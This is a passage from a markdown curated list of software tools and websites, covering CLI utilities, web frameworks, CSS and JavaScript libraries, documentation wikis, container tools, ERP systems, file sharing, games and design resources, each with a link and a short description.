sed, awk, grep and friends let you play with text. - [](#) - [mas](https://github.com/mas-cli/mas) - Mac App Store command line interface to make updates a breeze. - [](#) - [plac](https://github.com/micheles/plac) - Plac: Parsing the Command Line the Easy Way - [](#) - [proji](https://github.com/nikoksr/proji) - A powerful cross-platform CLI project templating tool. - [](#) - [PyInquirer](https://github.com/CITGuru/PyInquirer) - PyInquirer strives to be an easily embeddable and beautiful command line interface for Python. - [](#) - [ripgrep](https://github.com/BurntSushi/ripgrep) - ripgrep recursively searches directories for a regex pattern while respecting your gitignore - [](#) - [Suitcase](https://github.com/Impedimenta/Suitcase) - A flexible command line tool for instantly deploying user interfaces for simple commands and scripts on macOS. - [](#) - [tree](https://en.wikipedia.org/wiki/Tree_(command)) - Lists the files in the current directory. and integrates with your favorite tools, to help you achieve more. - [](#) ## Development / Frameworks / Snippets _Reinventing the wheel can be fun but just in case you just don't feel like it, check the tools below_ - [Apprise](https://github.com/caronc/apprise) - App to send a notification to almost all of the most popular notification services available to us today such as: Telegram, Discord, Slack, Amazon SNS, Gotify, etc. - [](#) - [AsciiSignature](http://www.kammerl.de/ascii/AsciiSignature.php/) - Generate ASCII signatures - [](#) - [bootstrap-table](https://bootstrap-table.com/) - Extended HTML tables for bootstrap. Adds search, sorting, ... (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation) - [](https://github.com/bower/bower) - [Bower](https://bower.io/) - Web sites are made of lots of things — frameworks, libraries, assets, and utilities. Bower manages all these things for you. - [](https://github.com/bower/bower) - [Can i use](https://caniuse.com) - Browser support tables for comparing the availability of modern web technologies - [](https://github.com/Fyrd/caniuse) - [CodyHouse](https://github.com/CodyHouse/codyhouse-framework) - A lightweight front-end framework for building accessible, bespoke interfaces. Allows to design a web page (kinda wireframe deluxe). - [](https://github.com/CodyHouse/codyhouse-framework) - [cosmopolitan](https://github.com/jart/cosmopolitan) - Makes C a build-once run-anywhere language, like Java, except it doesn't need an interpreter or virtual machine. - [](#) - [dark-mode-switch](https://github.com/coliff/dark-mode-switch) - Add a dark-mode theme toggle with a Bootstrap Custom Switch - [](#) - [dashboard](https://github.com/phntxx/dashboard) - A nice and simple dashboard / landing page inspired by SUI. - [](#) - [Dashing](http://dashing.io/) - Dashboard framework - [](https://github.com/Shopify/dashing) - [DashMachine](https://github.com/rmountjoy92/DashMachine) - Another web application bookmark dashboard, with fun features. - [](#) - [datatables](https://datatables.net/) - jQuery plug-in that adds advanced features to any HTML table (pagination, search, ordering, sorting, themes, ... ) - [](#) - [ddev-local](https://www.ddev.com/ddev-local/) - Get local PHP development environments up and running within minutes. DDEV aims to allow development teams to use Docker in their workflow without the complexities of bespoke configuration. - [](#) - [DockProgress](https://github.com/sindresorhus/DockProgress) - Show progress in your macOS app's Dock icon - [](#) - [easings](https://easings.net/en#) - Easing functions specify the rate of change of a parameter over time. - [](#) - [Fusioncharts](https://www.fusioncharts.com) - Get interactive and responsive charts for all your projects - [](#) - [Getuikit](https://getuikit.com/) - A lightweight and modular front-end framework for developing fast and powerful web interfaces - [](https://github.com/uikit/uikit) - [google chart](https://developers.google.com/chart/) - Display live data on your site - [](https://github.com/google/charts) - [gridjs](https://gridjs.io/) - - [Hot Examples](https://hotexamples.com/) - Code examples from over 1.000.000 projects for PHP, Python, Java, ... - [](#) - [insomnia](https://insomnia.rest/) - Debug APIs like a human, not a robot. Finally, a REST client you'll love - [](#) - [jamstack](https://jamstack.org/) - Fast and secure sites and apps delivered by pre-rendering files and serving them directly from a CDN, removing the requirement to manage or run web servers. - [](#) - [jupyter](https://jupyter.org/index.html) - A web-based interactive development environment for Jupyter notebooks, code, and data. It allows interactive computing across dozens of programming languages. - [](https://github.com/jupyter/jupyter_server) - [lando](https://github.com/lando/lando) - local development and DevOps tool (lamp stack with drupal, wordpress, apache, elasticsearch, python, php, ...) - [](#) - [Moonhome](https://moonhome.io/) - Remote Development Environment. Escape slow networks and underpowered notebooks. - [](#) - [not-paid](https://github.com/kleampa/not-paid) - Client did not pay? Add opacity to the body tag and decrease it every day until their site completely fades away. - [](#) - [Nprogress](https://github.com/rstacruz/nprogress) - Slim progress bars like on YouTube, Medium, etc - [](#) - [public apis](https://public-apis.xyz/) - Learn & Fuel up your tools, apps and business with powerful 1000+ public apis. - [](#) - [rabbitmq](https://www.rabbitmq.com/) - Message Broker - [](#) - [Socket](https://socket.io/) - Socket.IO enables real-time, bidirectional and event-based communication. It works on every platform, browser or device, focusing equally on reliability and speed. - [](https://github.com/socketio/socket.io) - [sui](https://github.com/jeroenpardon/sui) - A startpage for your server and / or new tab page - [](#) - [yeoman](https://github.com/yeoman/yeoman) - A set of tools for automating development workflow - [](#) ### CSS - [98.css](https://github.com/jdan/98.css) - A design system for building faithful recreations of old UIs. (windows 98 style) - [](#) - [animista](https://animista.net/) - CSS animations on demand - - [](#) - [bulma](https://bulma.io/) - CSS framework based on Flexbox - [](#) - [CSS box-shadow](https://www.cssmatic.com/box-shadow) - Simply generate CSS box shadows - [](#) - [css-effects-snippets](https://emilkowalski.github.io/css-effects-snippets/) - A collection of CSS effects made with Vue.js. - [](#) - [Custom Shape Dividers](https://www.shapedivider.app/) - Generate and export a beautiful SVG - [generate-css](https://generate-css.com/) - Generate complex CSS easily (Box Shadow, Border Radius, Image Filter, Transform). - [](#) - [pattern-css](https://bansal.io/pattern-css#introduction) - CSS only library to fill your empty background with beautiful patterns. - [](#) - [tailwindcomponents](https://tailwindcomponents.com/) - A free repository for community components using TailwindCSS - [](#) - [tailwindcss](https://tailwindcss.com/) - A highly customizable, low-level CSS framework for rapidly building custom designs. - [](#) shape divider. - [](#) ### Go - [cobra](https://github.com/spf13/cobra) - A library to create powerful modern CLI interfaces similar to git & go tools. - [](#) ### PHP - [moment.php](https://github.com/fightbulc/moment.php) - Parse, validate, manipulate, and display dates in PHP w/ i18n support. - [](#) ### Python - [bandit](https://github.com/PyCQA/bandit) - A security linter for Python - [](#) - [glade](https://glade.gnome.org/) - Rapid application development (RAD) tool to enable quick & easy development of user interfaces for the GTK toolkit and the GNOME desktop environment. Can be used with C, C++, C#, Vala, Java, Perl, Python, ... - [](#) - [isort](https://github.com/timothycrosley/isort) - A Python utility / library to sort imports. - [](#) - [kivy](https://kivy.org/#home) - Library for the rapid development of applications - [paramiko](https://www.paramiko.org/) - Paramiko is a Python (2.7, 3.4+) implementation of the SSHv2 protocol [1], providing both client and server functionality. - [](#) - [PySimpleGUI](https://github.com/PySimpleGUI/PySimpleGUI) - Build a simple Graphical User Interface (GUI) with Python. - [](#) - [Python - Excel](https://xlsxwriter.readthedocs.io/#) - Python module for creating Excel XLSX files. - [](https://github.com/jmcnamara/XlsxWriter) - [python-requests](https://2.python-requests.org/en/master/) - A simple HTTP library for Python, built for human beings. - [](#) - [remi](https://github.com/dddomodossola/remi) - Python REMote Interface library. GUI library for Python applications that gets rendered in web browsers. This allows you to access your interface locally and remotely. - [](#) that make use of innovative user interfaces, such as multi-touch apps - [](#) ### Javascript - [aos](https://github.com/michalsnik/aos) - Animate on scroll library - [](#) - [bootboxjs](http://bootboxjs.com/) - Create programmatic dialog boxes using Bootstrap modals, without having to worry about creating, managing, or removing any of the required DOM elements or JavaScript event handlers - [](#) - [gatsbyjs](https://www.gatsbyjs.org/) - Framework based on React that helps developers build blazing fast websites and apps. - [Grunt JS](https://gruntjs.com/) - JavaScript Task Runner, automates repetitive tasks like minification, compilation, unit testing, linting, ... - [](https://github.com/gruntjs/grunt) - [Handlebar JS](http://handlebarsjs.com/) - Handlebars is a simple templating language it allows building semantic templates effectively (largely compatible with mustache) - [](https://github.com/wycats/handlebars.js) - [htmldom](https://htmldom.dev/) - Manage HTML DOM with vanilla JavaScript - [](#) - [i18next](https://www.i18next.com/) - An internationalization-framework written in and for JavaScript. It provides you with a complete solution to localize your product from web to mobile and desktop. - [](#) - [jdash](http://jdash.io/#about) - A customizable Javascript + Backend platform for adding end user designable dashboards into your web application - [](#) - [lodash](https://github.com/lodash/lodash) - A modern JavaScript utility library delivering modularity, performance, & extras. - [](#) - [micromodal](https://micromodal.now.sh/) - A lightweight, configurable and a11y-enabled modal library written in pure JavaScript - [](#) - [Mustache JS](https://github.com/janl/mustache.js) - Minimal templating with {{mustaches}} in JavaScript - [](#) - [notiflix](https://www.notiflix.com/) - A library for client-side non-blocking notifications, popup boxes, loading indicators, and more - [](#) - [Parallax](https://pixelcog.github.io/parallax.js/) - Parallax.js is a dirt simple parallax scrolling effect inspired by Spotify.com and implemented as a jQuery plugin. - [](https://github.com/pixelcog/parallax.js/) - [PptxGenJS](https://github.com/gitbrent/PptxGenJS) - Create PowerPoint Presentations through JavaScript. - [](#) - [riot.js](https://riot.js.org/) - Simple and elegant component-based UI library - [](#) - [runjs](https://runjs.dev/) - The JavaScript playground for your desktop, it runs code as it's written and displays formatted results in the output panel on the right. - [](#) - [TimelineJS3](https://github.com/NUKnightLab/TimelineJS3) - A Storytelling Timeline built in JavaScript. - [](#) - [tippyjs](https://atomiks.github.io/tippyjs/) - The complete tooltip, popover, dropdown, and menu solution for the web - [](#) - [websocketd](https://github.com/joewalnes/websocketd) - Turn any program that uses STDIN/STDOUT into a WebSocket server. Like inetd, but for WebSockets. - [](#) #### Node.js - [broken-lin-checker](https://github.com/stevenvachon/broken-link-checker) - Find broken links, missing images, etc within your HTML. - [](#) - [node-geoip](https://github.com/bluesmoon/node-geoip) - Implementation of Max's GeoIP API - [](#) - [node-html-to-text](https://github.com/werk85/node-html-to-text) - Advanced html to text converter - [](#) - [nodemon](https://nodemon.io/) - Nodemon is a utility for Node.js that will monitor for any changes in your source and automatically restart your server. - [](https://github.com/remy/nodemon/) - [pm2](http://pm2.keymetrics.io/) - Advanced, production daemon process manager for Node.JS that will help you manage and keep your application online 24/7 - [](https://github.com/Unitech/pm2) - [sails](https://github.com/balderdashy/sails) - Realtime MVC Framework for Node.js - [](#) #### React - [nextjs](https://nextjs.org/) - A framework that allows to write server-rendered React apps easily - [](#) - [react-bootstrap-table](https://github.com/AllenFang/react-bootstrap-table) - A Bootstrap table built with React.js - [](#) - [react-color](https://github.com/casesandberg/react-color) - Color Pickers from Sketch, Photoshop, Chrome, Github, Twitter & more - [](#) #### Vue.js - [awesome vuepress](https://github.com/vuepressjs/awesome-vuepress) - A curated list of awesome things related to VuePress - [](#) - [buefy](https://buefy.org/) - Lightweight UI components for Vue.js based on Bulma - [](#) - [gridsome](https://gridsome.org/) - Build modern websites, apps & PWAs that are fast by default 🚀 - [](#) - [nuxtjs](https://nuxtjs.org/) - Similar to next.js, but with Vue.js - [](#) - [vue JS](https://github.com/vuejs/vue) - A progressive, incrementally-adoptable JavaScript framework for building UI on the web. - [](#) - [vuepress blog theme](https://github.com/z3by/vuepress-theme-modern-blog) - 🤩Modern blog theme for VuePress - [](#) - [vuepress tools](https://vuepress.tools) - List of plugins and themes for vuepress - [](#) ### Fakers _Nearly as good as the real thing_ - [fake-s3](https://github.com/jubos/fake-s3) - Lightweight server that responds to the same API of Amazon S3 - [](#) - [python-faker](https://github.com/joke2k/faker) - A Python package that generates fake data for you - [](#) ### Webdevelopment - [awesome-react-generator](https://github.com/iamtabrezkhan/awesome-react-generator) - No more clicking around to create files in your react project! Awesome React Generator is Command Line Tool that let's you generate component files/folders without leaving your terminal. - [](#) - [devilbox](https://github.com/cytopia/devilbox) - Docker LAMP stack and MEAN stack for local development - [](#) - [DevKinsta](https://kinsta.com/devkinsta/) - Local WordPress development tool and environment (macOS,Windows, Ubuntu) - [](#) - [docksal](https://github.com/docksal/docksal) - Docker powered web development environments for macOS, Windows, and Linux. Unified environment for your team regardless of the OS. - [](#) - [gasmask](https://github.com/2ndalpha/gasmask) - Hosts file manager for macOS - [](#) - [localwp](https://localwp.com/) - Local wordpress development tool - [](#) - [lovecroft](https://github.com/thesephist/lovecroft) - Minimal mailing list manager for static sites, with a simple JSON API - [](#) - [netsleuth](https://netsleuth.io/) - Use Chrome's Network Inspector with anything - [](#) - [ngrok](https://ngrok.com/) - Spend more time programming. One command for an instant, secure URL to your localhost server through any NAT or firewall. - [](#) - [polyfill-service](https://github.com/financial-times/polyfill-service) - Polyfill.io reads the User-Agent header of each request and returns polyfills that are suitable for the requesting browser - [](#) - [responsively-app](https://github.com/manojVivek/responsively-app) - Open Source alternative to slashb. It's a modified browser that helps in responsive web development - [](#) - [sitebulb](https://sitebulb.com/) - Search Engine Optimization (SEO) tool - [](#) - [slashb](https://slashb.app/) - Spend half the time designing and developing responsive websites by testing them on multiple screens at once - [](#) - [Unzipper](https://github.com/ndeet/unzipper) - Small class to extract + compress .zip, .gz, .rar archives via browser. - [](#) ### Website builder / CMS _The building without the struggle_ - [Eleventy (11ty)](https://www.11ty.dev/) - A simpler static site generator. An alternative to Jekyll. Transforms a directory of templates (of varying types) into HTML. - [](#) - [Grav](https://github.com/getgrav/grav) - Grav is a Fast, Simple, and Flexible, file-based Web-platform - [](#) - [hexo.io](https://hexo.io/) - A fast, simple & powerful blog framework - [](#)s - [Hugo](https://gohugo.io/) - Static website generator based on markdown - [](https://github.com/gohugoio/hugo) - [pollygot](https://pollygot.com/) - Pollygot is a content platform that consolidates all the most important services you need to run your business. - [](#) - [rocket](https://github.com/modernweb-dev/rocket) - Another static site generator. - [](#) - [statamic](https://statamic.com/) - Static site generator - [](#) - [Staticgen](https://www.staticgen.com/) - A List of Static Site Generators for JAMstack Sites - [](https://github.com/netlify/staticgen) - [strapi](https://strapi.io/) - Headless CMS Front-End - [](#) - [vuepress](https://vuepress.vuejs.org/) - Vue-powered Static Site Generator - [](#) - [zola](https://www.getzola.org/) - Your one-stop static site engine. Forget dependencies. Everything you need in one binary. - [](#)s ### Website Analysis / Analytics _Wonder how the big guys do it?_ - [Ackee](https://github.com/electerious/Ackee) - Node.js based analytics tool for those who care about privacy. - [](#) - [Built with](https://builtwith.com/) - Find out what websites are Built With - [](#) - [fathom](https://github.com/usefathom/fathom) - Simple, privacy-focused website analytics. Built with Golang & Preact - [](#) - [Matomo](https://matomo.org/) - Web Analytics, Powerful Insights (alternative to google analytics, ...) - [](#) - [Shynet](https://github.com/milesmcc/shynet) - Modern, privacy-friendly, and detailed web analytics that works without cookies or JS. - [](#) ### Website Speedtest / Performance and Configuration analysis _Make it fast_ - [Dareboost](https://www.dareboost.com/fr) - Website performance checking tool - [](#) - [Google lighthouse](https://github.com/GoogleChrome/lighthouse) - Automated auditing, performance metrics, and best practices for the web - [](#) - [Google pagespeed](https://developers.google.com/speed/pagespeed/insights/) - PageSpeed Insights (PSI) reports on the performance of a page on both mobile and desktop devices, and provides suggestions on how that page may be improved. - [](#) - [GTMetrix](https://gtmetrix.com/) -We'll breakdown your page performance in a summarized report: PageSpeed and YSlow scores and Recommendations, Page Load Details (time, size, number of requests), Waterfall, ... - [](#) - [host-tracker](https://www.host-tracker.com/v3/check) - Run website availability and performance check from different locations - [](#) - [Pingdom](https://tools.pingdom.com/) - With Pingdom you can monitor your websites' uptime, performance, and interactions for a better end-user-experience. - [](#) - [redbot](https://redbot.org/) - lint for HTTP resources; it tests protocol correctness, cacheability, content negotiation and more. - [](#) - [Sitespeed.io](https://github.com/sitespeedio/sitespeed.io/) - Helps you monitor, analyze and optimize your website speed and performance - [](#) - [web.dev](https://web.dev/measure/) - See how well your website performs. Then, get tips to improve your user experience. - [](#) - [Webhint](https://webhint.io/scanner/) - webhint is a customizable linting tool that helps you improve your site's accessibility, speed, cross-browser compatibility, and more by checking your code for best practices and common errors. - [](https://github.com/webhintio/hint) - [Webpagetest](http://www.webpagetest.org/) - Test a website's performance, helfpul waterfall charts - [](#) - [Yellowlab](https://yellowlab.tools) - WebPerf and front-end quality testing tool - [](https://github.com/YellowLabTools/YellowLabTools/) #### Website emission analysis - [greenframe](https://greenframe.io/) - Measure and reduceyour website CO2 emissions - [](#) ## Documentation / Wikis / User Feedback _Because it's always difficult when facing a PEBKAC to tell him to RTFM...when there's no documentation_ - [appflowy](https://github.com/AppFlowy-IO/appflowy) - Open-source alternative to Notion. You are in charge of your data and customizations. - [](#) - [archbee](https://www.archbee.io/) - Product docs on your domain, API documentation, developer guides, internal wikis, change logs & diagrams — all in one. - [](#) - [bookstackapp](https://www.bookstackapp.com/) - Self-hosted, easy-to-use platform for organising and storing information - [](#) - [Carbon](https://github.com/dawnlabs/carbon) - Create and share beautiful images of your source code - [](https://github.com/carbon-app/carbon) - [coda](https://coda.io/for/knowledge-management) - Another tool for knowledge base management. - [](#) - [ClickUp](https://clickup.com/features) - One app to replace them all. (Tasks, Docs, Chat, Goals) - [](#) - [codehike](https://github.com/code-hike/codehike) - Build first-class code walkthroughs for the web. Whether you are writing blog posts, documentation, tutorials, coding videos, or any type of technical content, Code Hike helps you create a superior code reading experience. - [](#) - [Daux](http://daux.io/) - Markdown based documentation generator - [](https://github.com/dauxio/daux.io) - [Docsify](https://github.com/docsifyjs/docsify/) - A magical documentation site generator - [](#) - [Document 360](https://document360.com/features/) - Another Knowledge Base - [](#) - [Docusaurus](https://github.com/facebook/Docusaurus) - Easy to maintain open source documentation websites - [](#) - [Docute](https://github.com/egoist/docute) - Effortless documentation, done right. Markdown + vue - [](#) - [gitbook](https://www.gitbook.com/) - Document Everything! A modern documentation platform where teams can document everything from products to internal knowledge-bases and APIs - [](#) - [glean](https://www.glean.com/features) - Searches across all your company’s apps. It understands context, language, behavior, and relationships with others, to find personalized answers to your questions—instantly. - [](#) - [guru](https://www.getguru.com/) - Company wiki that works in your workflow. Helps capture all of your company’s info & expertise and creates a single source of truth - [](#) - [Knowledge Repo](https://github.com/airbnb/knowledge-repo) - A next-generation curated knowledge sharing platform for data scientists and other technical professions. - [](#) - [logseq](https://logseq.com/) - Platform for knowledge management and collaboration. - [](#) - [Mediawiki](https://www.mediawiki.org) - The wiki system that powers Wikipedia - [](https://github.com/wikimedia/mediawiki) - [MKdocs](http://www.mkdocs.org/) - Fast, simple and static site generator based on Markdown - [](https://github.com/mkdocs/mkdocs/) - [nextra](https://github.com/shuding/nextra) - Next.js based documentation site generator. 0 line of code needed, just write Markdown. It supports MDX, anchor links, file-system based routing and built-in syntax highlighting. - [](#) - [notion](https://www.notion.so/product) - note taking / wiki app, can be extended with [super](https://super.so/builder) - [](#) - [Nuclino](https://www.nuclino.com/) - Another wiki - [](#) - [Orchid](https://github.com/orchidhq/Orchid) - Build and deploy beautiful documentation sites that grow with you - [](#) - [organigram](https://github.com/proshoumma/organigram) - A JSON based tree structure with drag and drop functionally to re-arrange the tree. - [](#) - [orgchart](https://github.com/dabeng/vue-orgchart) - A simple and direct organization chart made with vue (also available for angular, react, jQuery ...)- [](#) - [Outline](https://www.getoutline.com/) - Wiki and knowledge base with slack integration. Supports markdown. - [](#) - [percollate](https://github.com/danburzo/percollate) - 🌐 → 📖 A command-line tool to turn web pages into beautifully formatted PDFs - [](#) - [PHPback](http://www.phpback.org/) - Feedback system - [](https://github.com/ivandiazwm/phpback/) - [readthedocs](https://readthedocs.org/) - Documentation server - [](#) - [redoc](https://redoc.ly/) - API documentation - [](#) - [Rmarkdown](https://github.com/rstudio/rmarkdown) - Create dynamic analysis documents that combine code, rendered output (such as figures), and prose. - [](#) - [rootnroll](https://welcome.rootnroll.com/) - Interactive playground in a browser for your GitHub projectGet an isolated environment with your software ready to be played with - [](#) - [Slab](https://slab.com/) - Knowledge base with several external integrations. - [](#) - [Slate](https://github.com/slatedocs/slate) - Create beautiful, intelligent, responsive API documentation - [](#) - [Slite](https://slite.com/) - Wiki with several external integrations - [](#) - [Sphinx](http://www.sphinx-doc.org/en/stable/index.html) - Documentation builder, especially usefull for source code - [](https://github.com/sphinx-doc/sphinx/) - [statamic](https://statamic.com/) - Build beautiful, easy to manage websites. - [](#) - [Stackoverflow Teams](https://stackoverflow.com/teams/) - Knowledge management, Q&A & collaboration solution that technologists already trust - [](#) - [tech-docs-monitor](https://github.com/alphagov/tech-docs-monitor) - Expiry notifier for documentation. - [](#) - [tettra](https://tettra.com/) - Q&A, knowledge management, and knowledge base tool with Slack integration. - [](#) - [TiddlyWiki5](https://github.com/Jermolene/TiddlyWiki5) - A self-contained JavaScript wiki for the browser, Node.js, AWS Lambda etc. - [](#) - [walkthru](https://github.com/walkthru/walkthru) - Tool to explain code online. Alternative to CodeHike. - [](#) - [Wiki JS](https://wiki.js.org/) - A modern, lightweight and powerful wiki app built on Node.js - [](https://github.com/Requarks/wiki) - [Write the docs](http://www.writethedocs.org/) - Information about writing documentation - [](#) - [youneedawiki](https://youneedawiki.com/) - Create a wiki with Google Docs - [](#) ## Docker / Kubernetes _Containers and stuff_ - [agones](https://agones.dev/site/) - Host, Run and Scale dedicated game servers on Kubernetes - [](#) - [cert-manager](https://github.com/jetstack/cert-manager) - Automatically provision and manage TLS certificates in Kubernetes - [](#) - [composerize](https://github.com/magicmark/composerize) - Turns docker run commands into docker-compose files! - [](#) - [Consul](https://www.consul.io/) - Secure Service Networking. It allows to discover services and secure network traffic - [](#) - [DockerKit](https://github.com/dunklesToast/DockerKit) - Control your Docker Containers with HomeKit - [](#) - [goharbor](https://goharbor.io/) - Container image registry that secures images with role-based access control, scans images for vulnerabilities, and signs images as trusted. - [](#) - [Kasm](https://kasmweb.com/) - Container Streaming Platform. - [](#) - [lazydocker](https://github.com/jesseduffield/lazydocker) - The lazier way to manage everything docker - [](#) - [lens](https://github.com/lensapp/lens) - The Kubernetes IDE - [](#) - [linkerd](https://linkerd.io/) - A service mesh for Kubernetes and beyond. - [](#) - [metallb](https://metallb.universe.tf/) - Load-balancer implementation for bare metal Kubernetes clusters - [](#) - [platform_cc](https://github.com/chompy/platform_cc) - Tool for provisioning apps with Docker based on Platform.sh's .platform.app.yaml spec. - [](#) - [Portainer](https://github.com/portainer/portainer) - A lightweight management UI which allows you to easily manage your different Docker environments (Docker hosts or Swarm clusters). - [](#) - [rancher](https://github.com/rancher/rancher) - Complete container management platform - [](#) - [runme](https://runme.io/) - Run your application from any public Git-repo with one click - [](#) - [Traeffik](https://github.com/containous/traefik/) - A HTTP reverse proxy and load balancer that makes deploying microservices easy- [](#) - [Watchtower](https://github.com/v2tec/watchtower) - A process for automating Docker container base image updates - [](https://github.com/containrrr/watchtower) ## Ebooks - [calibre-web](https://github.com/janeczku/calibre-web) - Web app for browsing, reading and downloading eBooks stored in a Calibre database - [](#) - [feedbooks](https://www.feedbooks.com/publicdomain) - Discover thousands of public domain books - [](#) - [openlibrary](https://openlibrary.org/) - One webpage for every book ever published! - [](#) - [okular](https://okular.kde.org/) - Read and annotate PDF documents, comics and EPub books, browse images, visualize Markdown documents. - [](#) ## Emulation _Feeling retro?_ - [MAME](https://github.com/mamedev/mame) - A multi-purpose emulation framework that aims to preserve decades of software history. - [](#) - [Messmame collection](https://archive.org/details/messmame&tab=collection) - Lots of ROMs for MAME - [](#) ## Enterprise Ressource Planning (ERP) / Groupware / Customer Relationship Management (CRM) / Asset Management System _Welcome to the 21st Century_ - [dokos](https://dokos.io/en) - Business platform for SME - [](#) - [erpnext](https://erpnext.com/) - Alternative to SAP - [](#) - [Foodcops](https://foodcoops.github.io/) - Web-based software to manage a non-profit food coop (product catalog, ordering, accounting, job scheduling). - [](https://github.com/foodcoops/foodsoft) - [Hubspot](https://www.hubspot.com) - Marketing, sales, and service software (CRM). - [](#) - [Kopano](https://kopano.com/) - Digitally sovereign communication and collaboration software - [](#) - [Metasfresh](https://metasfresh.com/en/) - Responsive Free and Open Source ERP System - [](https://github.com/metasfresh/metasfresh) - [monica](https://github.com/monicahq/monica) - Personal Relationship Manager - [](#) - [phasecrm](https://phasecrm.com/) - Efficiently manage your channels & keep a pulse on what your members care about on Slack - [](#) - [planless](https://planless.io/pricing) - Artificial intelligence to constantly, instantly and automatically calculate who on your team should do what/when and when things will be done. - [](#) - [Sabre](http://sabre.io/) - A CardDAV, CalDAV and WebDAV server - [](https://github.com/sabre-io/Baikal) - [snipeit](https://snipeitapp.com/) - Say goodbye to spreadheets. Asset Management System. - [](#) - [Sogo](https://sogo.nu/) - Share your calendars, address books and mails in your community (groupware). - [](#) ## File Sharing / downloader / converter _Sharing is caring_ - [ARTE-7-Downloader](https://github.com/GuGuss/ARTE-7-Downloader) - Download content from Arte - [](#) - [DC++](http://dcplusplus.sourceforge.net/) - Direct Connect allows you to share files over the Internet without restrictions or limits. - [](#) - [Gofile](https://gofile.io) - File sharing platform, anonymous and free - [](#) - [lftp](https://github.com/lavv17/lftp) - A sophisticated command line file transfer program (ftp, http, sftp, fish, torrent) - [](#) - [Motrix](https://github.com/agalwood/Motrix) - A full-featured download manager - [](#) - [MystiQ](https://github.com/swl-x/MystiQ/) - GUI for FFmpeg for linux, windows and macOS - [](#) - [piknik](https://github.com/jedisct1/piknik) - Copy/paste anything over the network. - [](#) - [Plik](https://plik.root.gg) Plik is a scalable & friendly temporary file upload system ( wetransfer like ) in golang. - [](https://github.com/root-gg/plik/tree/master) - [Radarr](https://github.com/Radarr/Radarr) - Helps automatically downloading movies via Usenet and BitTorrent. - [](#) - [requestrr](https://github.com/darkalfx/requestrr) - A chatbot used to simplify using services like Sonarr/Radarr/Ombi via the use of chat. - [](#) - [send](https://send.firefox.com/) - Simple, private file sharing from the makers of Firefox - [](https://github.com/mozilla/send) - [Sonarr](https://github.com/Sonarr/Sonarr) - Sonarr is a PVR for Usenet and BitTorrent users. It can monitor multiple RSS feeds for new episodes of your favorite shows and will grab, sort and rename them. - [](#) - [streamrip](https://github.com/nathom/streamrip) - A scriptable music downloader for Qobuz, Tidal, SoundCloud, and Deezer. - [](#) - [urlpages](https://github.com/jstrieb/urlpages) - Create and view web pages stored entirely in the URL - [](#) - [vidl](https://omz-software.com/vidl/) - easily download videos from YouTube and hundreds of other websites for offline viewing (macOS) - [](#) - [ytmdl](https://github.com/deepjyoti30/ytmdl) - YouTube Music Downloader, A simple app to get songs from youtube in mp3 format with artist name, album name etc from itunes, gaana etc. - [](#) ## Games / Game launchers _You know you need a break_ - [0ad](https://play0ad.com/) - Historical Real Time Strategy (RTS) game. As the leader of an ancient civilization, you must gather the resources you need to raise a military force and dominate your enemies. - [](https://github.com/0ad/0ad) - [eti-lan](https://www.eti-lan.xyz/) - P2P Lan Game Launcher useful for LAN parties - [](#) - [fold it](https://fold.it/portal/) - A crowdsourcing computer game enabling you to contribute to important scientific research by folding proteins. - [](#) - [gogalaxy](https://www.gogalaxy.com/en/) - All your games in one place. It allows to view, download, install, run and uninstall games from Steam, GOG, Humble Bundle, Humble Trove. - [](#) - [geoguessr](https://www.geoguessr.com/) - Guess the country from a google street view perspective. - [launchbox-app](https://www.launchbox-app.com) - Emulate, Organize, and Beautify Your Game Collection - [](#) - [liero](https://liero.be/) - Game similar to worms - [](#) - [Minetest](https://www.minetest.net/) - Similar to minecraft - [](https://github.com/minetest/minetest) - [opensurge](https://opensurge2d.org/) - retro platformer inspired by Sonic. - [](#) - [retroarch](https://www.retroarch.com/) - Frontend for emulators, game engines and media players. - [](#) - [teeworlds](https://www.teeworlds.com/) - A retro multiplayer shooter - [](https://github.com/teeworlds/teeworlds/) - [veloren](https://veloren.net/) - multiplayer voxel RPG inspired by games such as Cube World, Legend of Zelda: Breath of the Wild, Dwarf Fortress and Minecraft. - [](#) ## Graphics / Design / Icons _echo "sheep"_ - [app-mockup](https://app-mockup.com/) - App Mockup & Screenshot Builder - [](#) - [Canva](https://www.canva.com/) - Create designs and documents in minutes - [](#) - [Colorizer](https://deepai.org/machine-learning-model/colorizer) - Colorize black and white images or videos using the image colorization API. Add color to old family photos and historic images, or bring an old film back to life with colorization - [](#) - [CSS Zengarden](http://www.csszengarden.com/) - A demonstration of what can be accomplished through CSS-based design - [](#) - [Diagrams as code](https://diagrams.mingrammer.com/) - Diagrams lets you draw the cloud system architecture in Python code. - [](#) - [Draw](https://www.draw.io/) - Online diagramming web site- [](https://github.com/jgraph/drawio) - [favicon](https://favicon.io/) - Favicon generator. Create a favicon in few simple clicks. Generate a favicon from text, from an image, or from an emoji. Download in .ico and .png formats. - [](#) - [Figma](https://www.figma.com/) - Figma helps teams create, test, and ship better designs from start to finish. - [](#) - [getavataaars](https://getavataaars.com/) - Create a simple avatar for your online presence in just a few clicks - [](#) - [imglarger](https://imglarger.com/) - Enlarge Images Without Losing Quality - [](#) - [invisionapp](https://www.invisionapp.com/) - Digital product design platform, useful for building mockups, designs for websites, ... - [](#) - [JSpaint](https://jspaint.app) - You missed MS Paint? It's back ! - [](https://github.com/1j01/jspaint) - [natron](https://natrongithub.github.io/) - VFX and Motion Graphics. - [](#) - [Nordesource](https://norde.io/) - Crossplatform (linux, widows macOS) SVG Icon manager and editor. Customize entire icon sets to fit your brand. Built for designers, developers, ... . - [](#) - [orioniconlibrary](https://www.orioniconlibrary.com/) - Free icons - [](#) - [photo-enhancer](https://www.myheritage.com/photo-enhancer) - Enhance your family photos automatically. - [](#) - [Picsum](https://picsum.photos/) - Lorem Ipsum for images - [](#) - [Pixelorama](https://github.com/Orama-Interactive/Pixelorama) - A free & open-source 2D sprite editor, made with the Godot Engine! Available on Windows, Linux & macOS! - [](#) - [placeholder.com](https://placeholder.com/) - Free Image Placeholder Service - [](#) - [pngkey](https://www.pngkey.com/) - Largest Archive Of Transparent PNG. No attribution required! - [](#) - [storybook.js](https://storybook.js.org/) - Build bulletproof UI components faster. Storybook is an open source tool for developing UI components in isolation for React, Vue, and Angular. It makes building stunning UIs organized and efficient. - [](#) - [tabler-icons](https://github.com/tabler/tabler-icons) - A set of over 350 free MIT-licensed high-quality SVG icons for you to use in your web projects - [](#) - [UI Design Daily](https://uidesigndaily.com/) - Daily examples of UI available as Sketch, Photoshop, Figma, Studio, ... files. - [](#) - [uizard](https://uizard.io/) - Transform your hand-drawn wireframes into digital design files and front-end code – automatically! - [](#) - 